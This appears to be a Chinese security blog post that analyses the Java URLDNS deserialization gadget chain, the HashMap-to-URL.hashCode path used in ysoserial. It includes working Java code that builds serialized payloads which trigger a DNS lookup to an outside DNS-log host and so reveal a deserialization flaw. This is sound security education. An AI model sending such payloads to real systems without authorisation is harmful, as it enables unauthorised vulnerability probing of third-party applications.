Java反序列化漏洞(二)- URLDNS链

URLDNS 是适合新手分析的反序列化链,只依赖原生类,没有 jdk 版本限制,也被 ysoserial 涵盖在其中。它不会执行命令,只会触发 DNS 解析,因此通常用来探测是否存在反序列化漏洞。

0x01 概述

漏洞来源地址:点击这里

Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:

  • 只能发起 DNS 请求,不能进行其它利用。
  • 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
  • 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。

这个漏洞关键点是 Java 内置的 java.net.URL 类,这个类的 equalshashCode 方法具有一个有趣的特性:在对 URL 对象进行比较时(使用 equals 方法或 hashCode 方法),会触发一次 DNS 解析,因为对于 URL 来说,如果两个主机名(host)都可以解析为相同的 IP 地址,则这两个主机会被认为是相同的。

0x02前置知识

URL#equals

我们先来看一下这个特性的具体调用代码,URL#equals 方法重写了 Object 的判断,调用 URLStreamHandler#equals 方法进行判断:

URLStreamHandler#equals 方法判断 URL 对象的锚点是否相同,并调用 sameFile 方法比较两个 URL,看它们是否引用了相同的 protocol(协议)、host(主机)、port(端口)、path(路径)。

sameFile 方法在比较 host(主机)时,调用 hostsEqual 方法进行比较。

hostsEqual 方法调用 getHostAddress 方法对要比较的两个 URL 进行请求解析 IP 地址,并实施对比。

getHostAddress 方法使用 InetAddress.getByName() 方法对 host 进行解析,触发了 DNS 请求。

URL#hashCode

再来看一下 URL 的 hashCode 方法,此方法将一个对象映射为一个整型的值,通常与 equals 方法同时出现。当 equals 方法被重写时,hashCode 也需要被重写。按照一般 hashCode 方法的实现来说,如果两个对象通过 equals 方法判断相同,那它们的 hash code 一定相等。URL 的 hashCode 方法也进行了重写,调用了 URLStreamHandler#hashCode 方法。在此之前有一个判断,那就是 hashCode != -1

同样是调用了 getHostAddress 方法对 URL 的 host 进行了解析。

接下来我们使用 DNSLOG 来进行测试,代码如下:

        URL url  = new URL("http://sanshi.dnslog.cn");
        URL url2 = new URL("http://sanshi.dnslog.cn");
        url.equals(url2);
        url.hashCode();

我们发现,无论是使用 equals 方法,还是使用 hashCode 方法,应用程序都会触发访问,这就是漏洞的 sink 点。

接下来就是入口点,重写了 readObject 的类,也是 URLDNS gadget 的主角 —— java.util.HashMap,对于这个类大家最熟悉不过,可以说是最常用的 Map 的实现类。

既然是 Map,那就是以键值对的方式存储数据,HashMap 为提升操作效率,根据键的 hashCode 值存储数据,并引入了链表来解决 hash 碰撞的问题,因此具有很快的访问速度。总体来说,HashMap 就是数组和链表的结合体。在 JDK 1.8 以后,又增加了红黑树,在链表长度大于 8 时转换为红黑树。

直接来看一下 HashMap 的 readObject 方法,省略掉前面各种初始化的代码,将序列化对象中的键值进行 for 循环,并调用里面的 key 和 value 对象的 readObject 方法反序列化 key 和 value 的值后,使用 putVal (1.7 是 putForCreate 方法) 将这些键、值以及相关的 hash 等信息写入 HashMap 的属性 table 中。

putVal 方法就是 Map#put 以及相关方法的有关实现,有 5 个参数,分别是 hash 值,key 对象 ,value 对象和两个布尔参数,其中的 hash ,key ,value 就是用于创建 Node 对象的相关属性。

HashMap 通过一个静态方法 hash 计算 key 对象的 hash 值,如果 key 为 null, 则值为 0 ,否则将调用 key 的 hashCode 方法计算 hashCode 值,再和位移 16 位的结果进行异或得出 hash 值。

也就是说,在反序列化一个 HashMap 时,会调用其中的 key 对象的 hashCode 方法计算 hash 值。这就可以触发之前讨论的 URL 对象 DNS 解析请求。如果反序列化一个 HashMap 对象中的 key 是 URL 对象,在反序列化时就会调用这个 URL 对象的 hashCode 方法,触发 DNS 解析查询。

这个逻辑就是 URLDNS 这条反序列化利用的 gadget 的基本原理,接下来我们测试一下,有两个需要注意的点是,在使用 HashMap 的 put 方法时,也是调用 putVal 方法,会对 key 进行 hash,触发解析。如果我们不想在生成 payload 时触发 DNS 解析,就要使用反射将值放进去。

第二,在 URL 对象有一个属性 hashCode,默认是 -1,使用hashCode 方法计算时会在 hashCode 属性中缓存已经计算过的值,如果再次计算将直接返回值,不会在触发 URLStreamHandler 的 hashCode 方法,也就不会触发漏洞。所以我们需要在生成的 HashMap 中的 URL 参数的 hashCode 值在反序列化时为 -1,而刚才说过,如果使用 put 方法,会调用一次 key 的 hash 计算,也就是 URL 的 hashCode 方法,这样就把 hashCode 缓存了,在反序列化时就不会触发 URLStreamHandler 的 hashCode 方法以及后面的逻辑,所以有两种思路解决这个问题:

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://sanshi.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);

        f.set(url, 0x01010101);
        hashMap.put(url, 0);
        f.set(url, -1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
        oos.writeObject(hashMap);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
        ois.readObject();
    }

第二种思路的代码实现:

        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://sanshi.dnslog.cn");

        Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
        for (Method method : m) {
            if (method.getName().equals("putVal")) {
                method.setAccessible(true);
                method.invoke(hashMap, -1, url, 0, false, true);
            }
        }

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns2.bin"));
        oos.writeObject(hashMap);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns2.bin"));
        ois.readObject();
    }

以上两种都可以成功触发 DNS 查询,接下来我们看一下 ysoserial 是怎么实现的。

它显然是使用了第三种思路实现的,分别处理了 put 时的触发和 hashCode 缓存的问题,代码改成与前两个类似的方式就是:

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    public static void main(String[] args) throws Exception {

        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL                   url     = new URL(null, "http://sanshi.dnslog.cn", handler);
        hashMap.put(url, 0);

        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, -1);


        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns3.bin"));
        oos.writeObject(hashMap);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns3.bin"));
        ois.readObject();
    }

可以看到,ysoserial 自定义了 URLStreamHandler 的子类 SilentURLStreamHandler ,在初始化 URL 对象时传入,那么在 HashMap 的 put 方法触发的 hash 计算在调用到 URLStreamHandler 的getHostAddress 方法时将调用我们自定义的 SilentURLStreamHandler 的 getHostAddress,不会触发 DNS 查询,而 put 之后则是通过反射将 URL 对象的 hashCode 的值重新改为 -1。

0x03 总结

以上就是 URLDNS 分析的全部内容了,最后总结一下。
利用说明

  • 通过 HashMap 的反序列化调用 URL 的 hashCode 方法发起 DNS 查询,通常用来检测反序列化漏洞的存在。

Gadget 总结:

  • kick-off gadget:java.util.HashMap#readObject()
  • sink gadget:java.net.URL#hashCode()
  • chain gadget:无

调用链展示:

HashMap.readObject()
    *HashMap.put()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()
                    URLStreamHandler.hashCode()
                        URLStreamHandler.getHostAddress()

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

微信公众号

本文链接:

https://sanshiok.com/archive/19.html

# 最新文章